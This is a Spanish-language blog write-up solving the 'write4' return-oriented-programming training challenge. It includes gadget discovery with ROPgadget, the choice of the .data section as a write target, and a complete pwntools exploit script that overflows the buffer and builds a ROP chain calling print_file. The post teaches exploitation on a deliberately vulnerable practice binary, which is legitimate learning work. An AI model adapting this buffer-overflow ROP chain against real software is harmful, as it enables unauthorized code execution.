Continúo poniendo las soluciones de un sitio que he encontrado para aprender ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), a través de una serie de desafíos diseñados para enseñar diversas técnicas.
Como siempre utilizo la versión de 64 bits del desafío.
En este post la solución al reto que lleva por título "write4", y que, en mi opinión, presenta un nivel de dificultad alto (★★★★☆).
- Enunciado:
Además, se explica lo siguiente:
On completing our usual checks for interesting strings and symbols in this binary we're confronted with the stark truth that our favourite string "/bin/cat flag.txt" is not present this time. Although you'll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we'll stick to the challenge goal which is learning how to get data into the target process's virtual address space via the magic of ROP.
Things have been rearranged a little for this challenge; the printing logic has been moved into a separate library in an attempt to mitigate the alternate solution that is possible in the callme challenge. The stack smash also takes place in a function within that library, but don't worry, this will have no effect on your ROP chain. A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like "flag.txt") as the 1st argument.
The important thing to realise is that ROP is just a form of arbitrary code execution and if we're creative we can leverage it to do things like write to or read from memory. The question is what mechanism are we going to use to solve this problem, is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge we won't be using built-in functionality since that's too similar to the previous challenges, instead we'll be looking for gadgets that let us write a value to memory such as mov [reg], reg.
Perhaps the most important thing to consider in this challenge is where we're going to write our "flag.txt" string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this binary.
Once you've figured out how to write your string into memory and where to write it, go ahead and call print_file() with its location as your only argument. You could consider wrapping your write gadgets in helper a function; if you can write a 4 or 8 byte value to a location in memory, you could craft a function (e.g. in Python using pwntools) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location. Crafting templates like this will make your life much easier in the long run.
- Solución:
1.- Se proporcionan dos archivos: write4 y libwrite4.so.
Lo primero que hago es ejecutar el archivo write4 y veo que es vulnerable a un ataque de desbordamiento de 'buffer' (en inglés, 'buffer overflow'):Voy a intentarlo en la sección .data, que se encuentra en la dirección '0x00601028', pero antes, por si acaso, compruebo los datos que pueda haber en dicha sección. Para ello, utilizo 'readelf', y veo que no hay datos, por lo que, en principio, escribir la cadena "flag.txt" en .data no tendría ninguna consecuencia negativa en lo que al funcionamiento del binario se refiere:
2.- Compruebo los mecanismos de seguridad del binario utilizando ‘checksec’ y veo que ‘NX’ está habilitado, lo que significa que la pila es no ejecutable:
3.- Decompilo el binario usando ‘Ghidra’ y veo que en la función main() se realiza una llamada a la función pwnme():
En la función pwnme(), incluida en la biblioteca separada, es donde, conforme a las explicaciones que que se dan en este reto, entiendo que se produce el desbordamiento de 'buffer'.Además, veo que la función usefulFunction(), a la que no se llama nunca, realiza una llamada a una función dentro de la biblioteca separada, print_file(), que sería a la que hay que llamar con "flag.txt" como primer argumento para que se muestre la flag:
En las explicaciones que se dan en este reto se dice que: "Quizá lo más importante a considerar en este desafío es dónde vamos a escribir nuestra cadena 'flag.txt'" y que hay que consultar "las diferentes secciones de este binario y sus permisos". Para ello, utilizo 'rabin2' y veo que hay diferentes secciones del binario (un binario de GNU/Linux se organiza en secciones que estructuran sus instrucciones, sus datos y otra información necesaria para el 'linker' en el proceso de enlazado) con permiso '-rw-' (lectura y escritura):
4.- El plan de ataque consiste en sobrescribir la dirección de retorno de la función pwnme() con la de inicio de una cadena ROP (en inglés, 'ROP chain') que escriba la cadena "flag.txt" en una dirección de la sección .data y que llame a la función print_file() con la cadena anterior como parámetro, lo que mostrará la flag.
5.- Creo el 'exploit' mediante un pequeño 'script' en python y lo ejecuto:
Antes de crear el 'exploit', tal y como dije en los posts anteriores, conviene recordar que. al contrario que en los binarios de 32 bits en los que los argumentos se pasan a las funciones a través de la pila, en los de 64 bits los 6 primeros argumentos se pasan a las funciones a través de registros. En concreto, el primer argumento se pasa a través del registro RDI.
Para localizar en el propio binario un 'gadget' o 'gadgets' que me puedan servir para escribir la cadena "flag.txt" en una dirección de la sección .data utilizo 'ROPgadget', y veo que en las direcciones '0x0000000000400629' y '0x0000000000400628' existen sendos candidatos que me pueden servir para ello (tal y como se dice en las explicaciones que se dan en este reto, los 'gadgets' que nos permiten escribir un valor en la memoria son del tipo 'mov [reg0], reg1 ; ret', en los que el contenido del registro R1 se mueve a la dirección de memoria contenida en el registro R0):
Ahora, necesito un 'gadget' o 'gadgets' para incluir en los registros RSI y EDI o en R14 y R15 la dirección donde escribir la cadena "flag.txt" y la propia cadena, respectivamente, información que introduciré en la pila, y veo que, en la dirección '0x0000000000400690' existe un 'gadget' que me puede servir perfectamente para ello:
Con estos dos 'gadgets' ya puedo escribir la cadena "flag.txt" en una posición de memoria, pero para finalizar y tener toda la información necesaria para crear mi 'exploit' me falta un 'gadget' para introducir la dirección de memoria donde se escribirá la cadena "flag.txt" en el registro RDI. Para localizar en el propio binario un 'gadget' o 'gadgets' que me puedan servir para ello vuelvo a utilizar 'ROPgadget', y veo que en las direcciones '0x0000000000400693' hay un 'gadget' que cumple perfectamente con nuestro objetivo:
A partir de aquí, creo un pequeño 'script' en python y lo ejecuto:
from pwn import *
# Indicar a pwntools el binario objetivo
elf = context.binary = ELF('write4')
# Relleno hasta la direccion de retorno de pwnme()
offset_padding = b'A'*40
# Direccion de los gadgets
info('0x400690 pop r14 ; pop r15 ; ret')
gadget_1 = p64(0x0000000000400690)
info('0x400628 mov qword ptr [r14], r15 ; ret')
gadget_2 = p64(0x0000000000400628)
info('0x400693 pop rdi ; ret')
gadget_3 = p64(0x0000000000400693)
# cadena 'flag.txt'
flag_txt = b'flag.txt'
# Direccion en la que escribo la cadena 'flag.txt'
info('0x601028 .data address')
data_adr = p64(0x0000000000601028)
# Direccion de la funcion print_file
info('%#x print_file', elf.symbols.print_file)
print_file = p64(elf.symbols.print_file)
# Enviar
p = process(elf.path)
payload = offset_padding+gadget_1+data_adr+flag_txt+gadget_2+gadget_3+data_adr+print_file
p.sendline(payload)
# Recibir e imprimir
print(p.recvall())
Comentarios
Publicar un comentario